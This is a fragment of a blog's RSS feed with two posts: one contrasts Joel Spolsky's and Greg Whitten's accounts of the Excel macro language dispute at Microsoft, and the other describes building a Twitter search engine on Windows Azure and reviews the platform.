&lt;p&gt;
The top story on &lt;a title="Has Joel Spolsky been honest about his time at Microsoft? GW-Basic guy is no fan..." href="http://www.reddit.com/r/programming/comments/82s16/has_joel_spolsky_been_honest_about_his_time_at/"&gt;programming.reddit&lt;/a&gt; this
morning is an example of how differently people can view the same incident and how
it relates to making design decisions when trying to ship a software project. 
&lt;/p&gt;
&lt;p&gt;
Almost a decade ago, Joel Spolsky wrote an article entitled &lt;a href="http://www.joelonsoftware.com/printerFriendly/articles/TwoStories.html"&gt;Two
Stories&lt;/a&gt; which contrasted his time working at Microsoft with his time working at
Juno (a popular ISP from back in the day). Below is the relevant excerpt from Joel's
article which talks about his time developing the macro language that was to be used
by Excel. 
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;em&gt;My first assignment at my first job was working at Microsoft, where I was told
to come up with a new macro language strategy for Excel. Pretty soon, I had the first
draft of the &amp;quot;Excel Basic&amp;quot; spec (which later evolved into Visual Basic for
Applications, but that's another story). Somehow, this mysterious group of people
at Microsoft called the &amp;quot;Application Architecture&amp;quot; group got wind of my
spec, which must have concerned them, because for some reason they thought that they
were in charge of things like macro language strategies, and they asked to see my
spec. 
&lt;br /&gt;
… 
&lt;br /&gt;
So I proceeded to ignore them as diplomatically as possible.&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;em&gt;This seemed to piss off a guy named Greg Whitten who headed up the App Architecture
group. Now, Greg was something like Microsoft employee number 6. He had been around
forever; nobody could quite point to anything he had done but apparently he had lunch
with Bill Gates a lot and GW-BASIC was named after him. Greg called a BIG MEETING
and proceeded to complain about how the Excel team (meaning me) was screwing up the
macro strategy. We pressured him to come up with some specific reasons but his arguments
just weren't convincing. I thought it was nice that here I was, a new hire pipsqueak
right out of college, arguing with employee number 6 and apparently winning the argument.
(Can you imagine that happening at a Grey Flannel Suit company?) My programming team,
headed by Ben Waldman (now a VP at Microsoft) backed me up completely, which was all
that really mattered, because the programming team wrote the code and thus had the
final say on how things got done.&lt;/em&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
Five years later, John Foust tracked down Greg Whitten to get his take on the same
incident and then &lt;a href="http://www.classiccmp.org/pipermail/cctech/2005-April/042999.html"&gt;republished
Greg's private response&lt;/a&gt; on the classic computing mailing list. The relevant excerpt
from Greg Whitten's mail is below 
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;em&gt;On the Joel Spolsky subject he was a basically ignorant junior employee who left
Microsoft after a short number of years. His short sighted decisions to take the VB
macro language in Excel in its own directions caused 6 other major applications that
were doing BASIC macro languages to diverge and not be able to share any macro programs
between the applications. He made other similarly stupid decisions like creating a
custom programming interface for BASIC in Excel instead of sharing a common interface
as strongly recommended. The applications group spent 30 man-years integrating custom
interfaces for each application with the Office 95 applications. In Office 98 they
tossed it all and went back to my original suggestion which only took 1.5 man-years
to develop and provided better commonality and learning between the applications.&lt;/em&gt; 
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
It is instructive to compare both approaches to solving the same problem. Joel seems
to be a believer in the philosophy that &lt;a href="http://diveintomark.org/archives/2002/04/10/shipping_is_a_feature"&gt;shipping
is a feature&lt;/a&gt; which means you execute on your project by limiting dependencies
while making sure you are building specific solutions to customers problems. Greg
was big picture guy who wanted to ensure that all of the various BASIC macro languages
being developed by different groups at Microsoft were compatible and could developers
could easily port applications between them. They both have a point, on the one hand
the designer of the Excel macro language shouldn't have to be limited by the constraints
of building macros for Outlook but on the other hand anyone building common tooling
or infrastructure for macros in Office would prefer that there weren't significant
differences in the various macro languages in the product suite. So you end up with
two smart people with contradictory goals and it is thus unsurprising that each thinks
the other is ignorant. 
&lt;/p&gt;
&lt;p&gt;
The unfortunate thing about this entire incident is that it would have been a great
learning experience for Joel if he had stayed on in Excel to see some of the consequences
of his design decisions and then be in a position to consider whether he'd made the
right tradeoffs in the first place. Of course, this is pretty commonplace when it
comes to large software platforms where people can spend &lt;a href="http://www.joelonsoftware.com/articles/PickingShipDate.html"&gt;3
– 5 years working on a single release&lt;/a&gt; which in combination with &lt;a href="http://captaincapitalism.blogspot.com/2007/10/average-time-spent-on-job.html"&gt;an
average job tenure of 4 years in the U.S.&lt;/a&gt; (probably less in fast paced the software
industry) means that many people never learn from their mistakes or improve their
skills over time. 
&lt;/p&gt;
&lt;p&gt;
~~
&lt;/p&gt;
&lt;p&gt;
As a program manager at Microsoft, I'm often in the same predicament as Joel was when
he started working at Excel. Although the same challenge exists at every big software
company, Microsoft is unique in its breadth of software offerings which means that
almost every technology choice or design decision you make is an opportunity to pay
some sort of &lt;a href="http://www.scripting.com/davenet/2001/04/30/strategyTax.html"&gt;strategy
tax&lt;/a&gt;. The key thing I always keep in mind is that &lt;em&gt;shipping is a feature&lt;/em&gt; and
building software that delights our customers should have the highest priority. Being
able to articulate how your choices reflect both of these points during every phase
of the project is part of being a good program manager. Joel was able to do that,
which is why he got to ship his project how he saw fit.
&lt;/p&gt;
&lt;p&gt;
&lt;img style="vertical-align: middle" title="Note" alt="Note" src="http://shared.live.com/HjKMzTS-xzcms40%21CabizA/emoticons/music_note.gif" /&gt; Now
Playing: &lt;a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;amp;unfiltered=1&amp;amp;field-keywords=&amp;amp;field-artist=Korn&amp;amp;field-title=&amp;amp;field-label=&amp;amp;field-binding=&amp;amp;sort=relevancerank&amp;amp;Adv-Srch-Music-Album-Submit.x=19&amp;amp;Adv-Srch-Music-Album-Submit.y=6"&gt;Korn&lt;/a&gt; - &lt;a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;amp;field-keywords=Korn+Freak On A Leash&amp;amp;x=0&amp;amp;y=0"&gt;Freak
On A Leash&lt;/a&gt; &lt;img style="vertical-align: middle" title="Note" alt="Note" src="http://shared.live.com/HjKMzTS-xzcms40%21CabizA/emoticons/music_note.gif" /&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=241d1979-50d7-43c7-8f28-08d853790830" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,241d1979-50d7-43c7-8f28-08d853790830.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=daeec4b3-4dc6-4d8d-9af4-9c35a79b5072</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,daeec4b3-4dc6-4d8d-9af4-9c35a79b5072.aspx</pingback:target>
      <dc:creator>Dare Obasanjo</dc:creator>
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,daeec4b3-4dc6-4d8d-9af4-9c35a79b5072.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=daeec4b3-4dc6-4d8d-9af4-9c35a79b5072</wfw:commentRss>
      <slash:comments>10</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
I spent the last few days hacking on a side project that I thought some of my readers
might find interesting; you can find it at <a href="http://hottieornottie.cloudapp.net">http://hottieornottie.cloudapp.net</a> 
</p>
        <p>
          <a href="http://hottieornottie.cloudapp.net/">
            <img src="http://5hji1a.blu.livefilestore.com/y1pCdZG5OEoG1zVcaqXzhg1x8cjbe3CBhy4OWytl6izhFTwA2M77tNhU_EGdeXXlsRCd2q0PzMpEso/twitter%20experiment.jpg" />
          </a>
        </p>
        <p>
I had several goals when embarking on this project 
</p>
        <ul>
          <li>
As my day job is working on <a href="http://www.25hoursaday.com/weblog/2008/12/03/WhatWeDidLastSummerSocialNetworkAggregationAndActivityFeedsInWindowsLive.aspx">activity
feeds in Windows Live</a>, I wanted to prototype various search experiences around
searching a feed of our friends' activities. 
</li>
          <li>
I wanted to build an application hosted on <a href="http://www.microsoft.com/azure/windowsazure.mspx">Windows
Azure</a> to learn more about the platform.  
</li>
          <li>
I wanted to learn more about the <a href="http://apiwiki.twitter.com/">Twitter's various
APIs</a>. 
</li>
        </ul>
        <p>
After a few days of hacking I'm glad to say I've achieved every goal I wanted to get
out of this experiment. I'd like to thank Matt Cutts for <a href="http://twitter.com/mattcutts/status/1081143606">the
initial idea on how to implement this </a>and Kevin Mark's for saving me from having
to write a Twitter crawler by <a href="http://twitter.com/kevinmarks/status/1087722893">reminding
me of Google's Social Graph API</a>. 
</p>
        <h3>What it does and how it works
</h3>
        <p>
The search experiment provides four kinds of searches 
</p>
        <ol>
          <li>
            <p>
The search functionality with no options checked is exactly the same as <a href="http://search.twitter.com/">search.twitter.com</a></p>
            <ul>
              <li>
Example query: <a href="http://hottieornottie.cloudapp.net/search.aspx?q=stackoverflow">search
for "stackoverflow" on Twitter</a></li>
            </ul>
            <p>
            </p>
          </li>
          <li>
            <p>
Checking "Search Near Me" finds all tweets posted by people who are within 30 miles
of your geographical location (requires JavaScript). Your geographical location is
determined from your IP address while the geographical location of the tweets is determined
from the location fields of the Twitter profiles of the authors. Nice way to find
out what people in your area are thinking about local news. 
</p>
            <ul>
              <li>
Example query: <a href="http://hottieornottie.cloudapp.net/search.aspx?q=stackoverflow&amp;check1=geo&amp;latitude=47.4762&amp;longitude=-122.1538&amp;city=Renton&amp;username=">search
for "stackoverflow" mentioned by Twitter users who live within 30 miles of Renton,WA</a></li>
            </ul>
            <p>
            </p>
          </li>
          <li>
            <p>
Checking 'Sort By Follower Count' is my attempt to jump on the <a href="http://www.techcrunch.com/2008/12/29/second-authority-based-twitter-search-engine-launches-twithority/">authority
based Twitter search bandwagon</a>. I don't think it's very useful but it was easy
to code. Follower counts are obtained via the <a href="http://code.google.com/apis/socialgraph/">Google
Social Graph API</a>. 
</p>
            <ul>
              <li>
Example query: <a href="http://hottieornottie.cloudapp.net/search.aspx?q=stackoverflow&amp;check2=rank">search
for "stackoverflow" on Twitter sorted by number of followers of the author</a></li>
            </ul>
            <p>
            </p>
          </li>
          <li>
            <p>
Checking 'Limit to People I Follow' requires you to also specify your user name and
then all search results are filtered to only return results from people you follow
(requires JavaScript). This feature only works for a small subset of Twitter users
that have been encountered by a crawler I wrote. The application is crawling Twitter
friend lists as you read this and <a href="http://twitter.com/Carnage4Life/friends">anyone
I follow</a> should already have their friend list crawled. If it doesn't work for
you, check back in a few days. It's been slow going since Twitter puts a 100 request
per hour cap on crawlers. 
</p>
            <ul>
              <li>
Example query: <a href="http://hottieornottie.cloudapp.net/search.aspx?q=stackoverflow&amp;check3=filter&amp;username=Carnage4Life">search
for "stackoverflow" on Twitter filtered to people followed by Carnage4Life</a></li>
            </ul>
            <p>
            </p>
          </li>
        </ol>
        <h3>Developing on Windows Azure: Likes
</h3>
        <p>
After building a small scale application with Windows Azure, there are definitely
a number of things I like about the experience. The number one thing I loved was the
integrated deployment story with Visual Studio. I can build a regular ASP.NET application
on my local machine that either used cloud or local storage resources and all it takes
is a few mouse clicks to go from my code running on my machine to my code running
on computers in Microsoft's data center either in a staging environment or in production.
The fact that the data access APIs are all RESTful makes it super easy to go from
pointing the app running on your machine to cloud storage or local storage on your
machine simply by changing some base URIs in a configuration file.  
</p>
        <p>
Another aspect of Windows Azure that I thought was great is how easy it is to create
background processing tasks. It was very straightforward to create a Web crawler that
crawled Twitter to build a copy of its social graph by simply adding a "Worker Role"
to my project. I've criticized <a href="http://code.google.com/appengine/">Google
App Engine</a> in the past for not supporting the ability to create background tasks
so it is nice to see this feature in Microsoft's platform as a service offering.  
</p>
        <h3>Developing on Windows Azure: Dislikes
</h3>
        <p>
The majority of my negative experiences were related to teething problems I'd associate
with this being a technology preview that still needs polishing. I hit a rather frustrating
bug where <a href="https://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=389463">half
the time I tried to run my application it would end up hanging and I'd have to try
again after several minutes</a>. There were also issues with the Visual Studio integration
where removing or renaming parts of the project from the Visual Studio UI didn't modify
all of the related configuration files so the app was in a broken state until I mended
it by hand. Documentation was another place where there is still a lot of work to
do. My favorite head scratching moment is that there is a <a href="http://msdn.microsoft.com/en-us/library/dd179384.aspx">x-ms-Metadata-ApproximateMessagesCount
HTTP header</a> which returns the <em>approximate</em> number of messages in the a
queue. It is unclear whether "approximate" here refers to the fact that messages in
the queue have an "invisibility period" between when they are popped from the queue
but before they are deleted where they can't be accessed or whether it refers to some
other heuristic that determines the size of the queue. Then there's the fact that
the documentation says <a href="http://msdn.microsoft.com/en-us/library/dd179338.aspx">you
need to have a partition key and row key for each entry you place in a table</a> but
doesn't really explain why or how you are supposed to pick these keys. In fact, the
documentation currently makes it seem like the notion of partition keys is an example
of unnecessarily surfacing implementation details of Windows Azure to developers in
a way that leads to confusion and cargo cult programming. 
</p>
        <p>
One missing piece is the lack of good tools for debugging your application once it
is running in the cloud. When it is running on your local machine there is a nice
viewer to keep an eye on the log output from your application but once it is in the
cloud, your only option is to have the logs dropped to some directory in the cloud
and <a title="Using the CloudDrive Sample to Access Windows Azure Logs" href="http://blogs.msdn.com/jnak/archive/2008/11/12/using-the-clouddrive-sample-to-access-windows-azure-logs.aspx">then
run one of the code samples to access those logs from your local machine</a>. Since
this is a technology preview, it is expected that the tooling shouldn't be all there
but it is a cumbersome process as it exists today. Besides accessing your debug output
there is also seeing what data your application is actually creating, retrieving and
otherwise manipulating in storage. You can use SQL Server Management Studio to look
at your data in Table Storage on your local machine but there isn't a similar experience
in the cloud. Neither blob nor queue storage have any off-the-shelf tools for inspecting
their contents locally or in the cloud so developers have to write custom code by
hand. Perhaps this is somewhere the developer community can step up with some Open
Source tools (e.g. David Aiken's <a href="http://davidaiken.com/windows-azure/windows-azure-online-log-reader/">Windows
Azure Online Log Reader</a>) or perhaps some commercial vendors will do step in as
they have in the case of Amazon's Web Services (e.g. <a href="http://www.rightscale.com/">RightScale</a>)? 
</p>
        <p>
Outside of the polish issues and bugs, there was only one aspect of Windows Azure
development I disliked; the structured data/relational schema development process.
Windows Azure has a <a href="http://msdn.microsoft.com/en-us/library/dd179423.aspx">Table
Storage API</a> which provides a RESTful interface to a row-based data store similar
in concept to <a href="http://labs.google.com/papers/bigtable.html">Google's BigTable</a>.
Trying to program locally against this API is rather convoluted and requires <a href="http://msdn.microsoft.com/en-us/library/dd179339.aspx">writing
your classes first then running some object&lt;-&gt;relational translation tools on
your assemblies</a>. This is probably a consequence of not being a big believer the
use of ORM tools so having to first write objects before I can access my DB seems
backwards to me. This gripe may just be a matter of preference since a lot of folks
who use Rails, Django and various other ORM technologies seem fine with having primarily
an object facade over their databases.   
</p>
        <p>
          <b>Update</b>: Early on in my testing I got a <i>The requested operation is not implemented
on the specified resource</i> error when trying out a batch query and incorrectly
concluded that the Table Storage API did not support complex OR queries. It turns
out that the problem was that I was doing a <a href="http://msdn.microsoft.com/en-us/library/cc668793.aspx" title="Query Expression Functions (ADO.NET Data Services Framework)">$filter
query using the tolower function</a>. Once I took out the <code>tolower()</code> it
was straightforward to construct queries with a bunch of OR clauses so I could request
for multiple row keys at once. 
</p>
        <p>
I'll file this under "documentation issues" since there is a list of <a href="http://msdn.microsoft.com/en-us/library/dd135725.aspx">unsupported
LINQ query operators</a> and <a href="http://msdn.microsoft.com/en-us/library/dd179461.aspx">unsupported
LINQ comparison operators</a> but not a list of unsupported query expression functions
in the Table Storage API documentation. Sorry about any confusion and thanks to <a href="http://cid-550f681dad532637.profile.live.com/">Jamie
Thomson</a> for asking about this so I could clarify. 
</p>
        <p>
          <strike>Besides the ORM issue, I felt that I was missing some storage capabilities
when trying to build my application. One of the features I started building before
going with the Google Social Graph API was a quick way to provide the follower counts
for a batch of users. For example, I'd get 100 search results from the Twitter API
and would then need to look up the follower counts of each user that showed up in
the results for use in sorting. However there was no straightforward way to implement
this lookup service in Windows Azure. Traditionally, I'd have used one of the following
options</strike>
        </p>
        <strike>
        </strike>
        <ol>
        </ol>
        <strike>
        </strike>
        <li>
          <strike>Create a table of {user_id, follower_count} in a SQL database and then use
batches of ugly select statements like SELECT FROM follower_tbl WHERE id=xxxx OR id=yyyy
OR id=zzzz OR …. </strike>
        </li>
        <strike>
        </strike>
        <li>
          <strike>Create tuples of {user_id, follower_count} in an in-memory hash table like
memcached and then do a bunch of fast hash table lookups to get the follower counts
from each user </strike>
        </li>
        <strike>
        </strike>
        <strike>
        </strike>
        <p>
          <strike>Neither of these options is possible given the three data structures that
Windows Azure gives you. It could be that these missing pieces are intended to be
provided by <a href="http://msdn.microsoft.com/en-us/sqlserver/dataservices/default.aspx">SQL
Data Services</a> which I haven't taken a look at yet. If not, the lack of these pieces
of functionality will be sticking point in the craw of developers making the switch
from traditional Web development platforms. </strike>
        </p>
        <p>
          <img style="vertical-align: middle;" title="Note" alt="Note" src="http://shared.live.com/HjKMzTS-xzcms40%21CabizA/emoticons/music_note.gif" /> Now
Playing: <a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;unfiltered=1&amp;field-keywords=&amp;field-artist=Geto%20Boys&amp;field-title=&amp;field-label=&amp;field-binding=&amp;sort=relevancerank&amp;Adv-Srch-Music-Album-Submit.x=19&amp;Adv-Srch-Music-Album-Submit.y=6">Geto
Boys</a> - <a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;field-keywords=Geto%20Boys+Gangsta%20%28Put%20Me%20Down%29&amp;x=0&amp;y=0">Gangsta
(Put Me Down)</a><img style="vertical-align: middle;" title="Note" alt="Note" src="http://shared.live.com/HjKMzTS-xzcms40%21CabizA/emoticons/music_note.gif" /></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=daeec4b3-4dc6-4d8d-9af4-9c35a79b5072" />
      </body>
      <title>My Holiday Project: A Twitter Search Engine Built on Windows Azure</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,daeec4b3-4dc6-4d8d-9af4-9c35a79b5072.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2009/01/03/MyHolidayProjectATwitterSearchEngineBuiltOnWindowsAzure.aspx</link>
      <pubDate>Sat, 03 Jan 2009 04:51:11 GMT</pubDate>
      <description>&lt;p&gt;
I spent the last few days hacking on a side project that I thought some of my readers
might find interesting; you can find it at &lt;a href="http://hottieornottie.cloudapp.net"&gt;http://hottieornottie.cloudapp.net&lt;/a&gt;&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
&lt;a href="http://hottieornottie.cloudapp.net/"&gt;&lt;img src="http://5hji1a.blu.livefilestore.com/y1pCdZG5OEoG1zVcaqXzhg1x8cjbe3CBhy4OWytl6izhFTwA2M77tNhU_EGdeXXlsRCd2q0PzMpEso/twitter%20experiment.jpg"&gt;&lt;/a&gt; 
&lt;/p&gt;
&lt;p&gt;
I had several goals when embarking on this project 
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
As my day job is working on &lt;a href="http://www.25hoursaday.com/weblog/2008/12/03/WhatWeDidLastSummerSocialNetworkAggregationAndActivityFeedsInWindowsLive.aspx"&gt;activity
feeds in Windows Live&lt;/a&gt;, I wanted to prototype various search experiences around
searching a feed of our friends' activities. 
&lt;/li&gt;
&lt;li&gt;
I wanted to build an application hosted on &lt;a href="http://www.microsoft.com/azure/windowsazure.mspx"&gt;Windows
Azure&lt;/a&gt; to learn more about the platform.&amp;nbsp; 
&lt;/li&gt;
&lt;li&gt;
I wanted to learn more about the &lt;a href="http://apiwiki.twitter.com/"&gt;Twitter's various
APIs&lt;/a&gt;. 
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
After a few days of hacking I'm glad to say I've achieved every goal I wanted to get
out of this experiment. I'd like to thank Matt Cutts for &lt;a href="http://twitter.com/mattcutts/status/1081143606"&gt;the
initial idea on how to implement this &lt;/a&gt;and Kevin Mark's for saving me from having
to write a Twitter crawler by &lt;a href="http://twitter.com/kevinmarks/status/1087722893"&gt;reminding
me of Google's Social Graph API&lt;/a&gt;. 
&lt;/p&gt;
&lt;h3&gt;What it does and how it works
&lt;/h3&gt;
&lt;p&gt;
The search experiment provides four kinds of searches 
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;
The search functionality with no options checked is exactly the same as &lt;a href="http://search.twitter.com/"&gt;search.twitter.com&lt;/a&gt; 
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
Example query: &lt;a href="http://hottieornottie.cloudapp.net/search.aspx?q=stackoverflow"&gt;search
for "stackoverflow" on Twitter&lt;/a&gt; 
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
Checking "Search Near Me" finds all tweets posted by people who are within 30 miles
of your geographical location (requires JavaScript). Your geographical location is
determined from your IP address while the geographical location of the tweets is determined
from the location fields of the Twitter profiles of the authors. Nice way to find
out what people in your area are thinking about local news. 
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
Example query: &lt;a href="http://hottieornottie.cloudapp.net/search.aspx?q=stackoverflow&amp;amp;check1=geo&amp;amp;latitude=47.4762&amp;amp;longitude=-122.1538&amp;amp;city=Renton&amp;amp;username="&gt;search
for "stackoverflow" mentioned by Twitter users who live within 30 miles of Renton,WA&lt;/a&gt; 
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
Checking 'Sort By Follower Count' is my attempt to jump on the &lt;a href="http://www.techcrunch.com/2008/12/29/second-authority-based-twitter-search-engine-launches-twithority/"&gt;authority
based Twitter search bandwagon&lt;/a&gt;. I don't think it's very useful but it was easy
to code. Follower counts are obtained via the &lt;a href="http://code.google.com/apis/socialgraph/"&gt;Google
Social Graph API&lt;/a&gt;. 
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
Example query: &lt;a href="http://hottieornottie.cloudapp.net/search.aspx?q=stackoverflow&amp;amp;check2=rank"&gt;search
for "stackoverflow" on Twitter sorted by number of followers of the author&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
Checking 'Limit to People I Follow' requires you to also specify your user name and
then all search results are filtered to only return results from people you follow
(requires JavaScript). This feature only works for a small subset of Twitter users
that have been encountered by a crawler I wrote. The application is crawling Twitter
friend lists as you read this and &lt;a href="http://twitter.com/Carnage4Life/friends"&gt;anyone
I follow&lt;/a&gt; should already have their friend list crawled. If it doesn't work for
you, check back in a few days. It's been slow going since Twitter puts a 100 request
per hour cap on crawlers. 
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
Example query: &lt;a href="http://hottieornottie.cloudapp.net/search.aspx?q=stackoverflow&amp;amp;check3=filter&amp;amp;username=Carnage4Life"&gt;search
for "stackoverflow" on Twitter filtered to people followed by Carnage4Life&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Developing on Windows Azure: Likes
&lt;/h3&gt;
&lt;p&gt;
After building a small scale application with Windows Azure, there are definitely
a number of things I like about the experience. The number one thing I loved was the
integrated deployment story with Visual Studio. I can build a regular ASP.NET application
on my local machine that either used cloud or local storage resources and all it takes
is a few mouse clicks to go from my code running on my machine to my code running
on computers in Microsoft's data center either in a staging environment or in production.
The fact that the data access APIs are all RESTful makes it super easy to go from
pointing the app running on your machine to cloud storage or local storage on your
machine simply by changing some base URIs in a configuration file.&amp;nbsp; 
&lt;/p&gt;
&lt;p&gt;
Another aspect of Windows Azure that I thought was great is how easy it is to create
background processing tasks. It was very straightforward to create a Web crawler that
crawled Twitter to build a copy of its social graph by simply adding a "Worker Role"
to my project. I've criticized &lt;a href="http://code.google.com/appengine/"&gt;Google
App Engine&lt;/a&gt; in the past for not supporting the ability to create background tasks
so it is nice to see this feature in Microsoft's platform as a service offering.&amp;nbsp; 
&lt;/p&gt;
&lt;h3&gt;Developing on Windows Azure: Dislikes
&lt;/h3&gt;
&lt;p&gt;
The majority of my negative experiences were related to teething problems I'd associate
with this being a technology preview that still needs polishing. I hit a rather frustrating
bug where &lt;a href="https://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=389463"&gt;half
the time I tried to run my application it would end up hanging and I'd have to try
again after several minutes&lt;/a&gt;. There were also issues with the Visual Studio integration
where removing or renaming parts of the project from the Visual Studio UI didn't modify
all of the related configuration files so the app was in a broken state until I mended
it by hand. Documentation was another place where there is still a lot of work to
do. My favorite head scratching moment is that there is a &lt;a href="http://msdn.microsoft.com/en-us/library/dd179384.aspx"&gt;x-ms-Metadata-ApproximateMessagesCount
HTTP header&lt;/a&gt; which returns the &lt;em&gt;approximate&lt;/em&gt; number of messages in the a
queue. It is unclear whether "approximate" here refers to the fact that messages in
the queue have an "invisibility period" between when they are popped from the queue
but before they are deleted where they can't be accessed or whether it refers to some
other heuristic that determines the size of the queue. Then there's the fact that
the documentation says &lt;a href="http://msdn.microsoft.com/en-us/library/dd179338.aspx"&gt;you
need to have a partition key and row key for each entry you place in a table&lt;/a&gt; but
doesn't really explain why or how you are supposed to pick these keys. In fact, the
documentation currently makes it seem like the notion of partition keys is an example
of unnecessarily surfacing implementation details of Windows Azure to developers in
a way that leads to confusion and cargo cult programming. 
&lt;/p&gt;
&lt;p&gt;
One missing piece is the lack of good tools for debugging your application once it
is running in the cloud. When it is running on your local machine there is a nice
viewer to keep an eye on the log output from your application but once it is in the
cloud, your only option is to have the logs dropped to some directory in the cloud
and &lt;a title="Using the CloudDrive Sample to Access Windows Azure Logs" href="http://blogs.msdn.com/jnak/archive/2008/11/12/using-the-clouddrive-sample-to-access-windows-azure-logs.aspx"&gt;then
run one of the code samples to access those logs from your local machine&lt;/a&gt;. Since
this is a technology preview, it is expected that the tooling shouldn't be all there
but it is a cumbersome process as it exists today. Besides accessing your debug output
there is also seeing what data your application is actually creating, retrieving and
otherwise manipulating in storage. You can use SQL Server Management Studio to look
at your data in Table Storage on your local machine but there isn't a similar experience
in the cloud. Neither blob nor queue storage have any off-the-shelf tools for inspecting
their contents locally or in the cloud so developers have to write custom code by
hand. Perhaps this is somewhere the developer community can step up with some Open
Source tools (e.g. David Aiken's &lt;a href="http://davidaiken.com/windows-azure/windows-azure-online-log-reader/"&gt;Windows
Azure Online Log Reader&lt;/a&gt;) or perhaps some commercial vendors will do step in as
they have in the case of Amazon's Web Services (e.g. &lt;a href="http://www.rightscale.com/"&gt;RightScale&lt;/a&gt;)? 
&lt;/p&gt;
&lt;p&gt;
Outside of the polish issues and bugs, there was only one aspect of Windows Azure
development I disliked; the structured data/relational schema development process.
Windows Azure has a &lt;a href="http://msdn.microsoft.com/en-us/library/dd179423.aspx"&gt;Table
Storage API&lt;/a&gt; which provides a RESTful interface to a row-based data store similar
in concept to &lt;a href="http://labs.google.com/papers/bigtable.html"&gt;Google's BigTable&lt;/a&gt;.
Trying to program locally against this API is rather convoluted and requires &lt;a href="http://msdn.microsoft.com/en-us/library/dd179339.aspx"&gt;writing
your classes first then running some object&amp;lt;-&amp;gt;relational translation tools on
your assemblies&lt;/a&gt;. This is probably a consequence of not being a big believer the
use of ORM tools so having to first write objects before I can access my DB seems
backwards to me. This gripe may just be a matter of preference since a lot of folks
who use Rails, Django and various other ORM technologies seem fine with having primarily
an object facade over their databases.&amp;nbsp;&amp;nbsp; 
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Update&lt;/b&gt;: Early on in my testing I got a &lt;i&gt;The requested operation is not implemented
on the specified resource&lt;/i&gt; error when trying out a batch query and incorrectly
concluded that the Table Storage API did not support complex OR queries. It turns
out that the problem was that I was doing a &lt;a href="http://msdn.microsoft.com/en-us/library/cc668793.aspx" title="Query Expression Functions (ADO.NET Data Services Framework)"&gt;$filter
query using the tolower function&lt;/a&gt;. Once I took out the &lt;code&gt;tolower()&lt;/code&gt; it
was straightforward to construct queries with a bunch of OR clauses so I could request
for multiple row keys at once. 
&lt;/p&gt;
&lt;p&gt;
I'll file this under "documentation issues" since there is a list of &lt;a href="http://msdn.microsoft.com/en-us/library/dd135725.aspx"&gt;unsupported
LINQ query operators&lt;/a&gt; and &lt;a href="http://msdn.microsoft.com/en-us/library/dd179461.aspx"&gt;unsupported
LINQ comparison operators&lt;/a&gt; but not a list of unsupported query expression functions
in the Table Storage API documentation. Sorry about any confusion and thanks to &lt;a href="http://cid-550f681dad532637.profile.live.com/"&gt;Jamie
Thomson&lt;/a&gt; for asking about this so I could clarify. 
&lt;/p&gt;
&lt;p&gt;
&lt;strike&gt;Besides the ORM issue, I felt that I was missing some storage capabilities
when trying to build my application. One of the features I started building before
going with the Google Social Graph API was a quick way to provide the follower counts
for a batch of users. For example, I'd get 100 search results from the Twitter API
and would then need to look up the follower counts of each user that showed up in
the results for use in sorting. However there was no straightforward way to implement
this lookup service in Windows Azure. Traditionally, I'd have used one of the following
options&lt;/strike&gt;
&lt;/p&gt;
&lt;strike&gt; &lt;/strike&gt;
&lt;ol&gt;
&lt;strike&gt; &lt;/strike&gt;
&lt;li&gt;
&lt;strike&gt;Create a table of {user_id, follower_count} in a SQL database and then use
batches of ugly select statements like SELECT FROM follower_tbl WHERE id=xxxx OR id=yyyy
OR id=zzzz OR …. &lt;/strike&gt;
&lt;/li&gt;&lt;strike&gt; &lt;/strike&gt;
&lt;li&gt;
&lt;strike&gt;Create tuples of {user_id, follower_count} in an in-memory hash table like
memcached and then do a bunch of fast hash table lookups to get the follower counts
from each user &lt;/strike&gt;
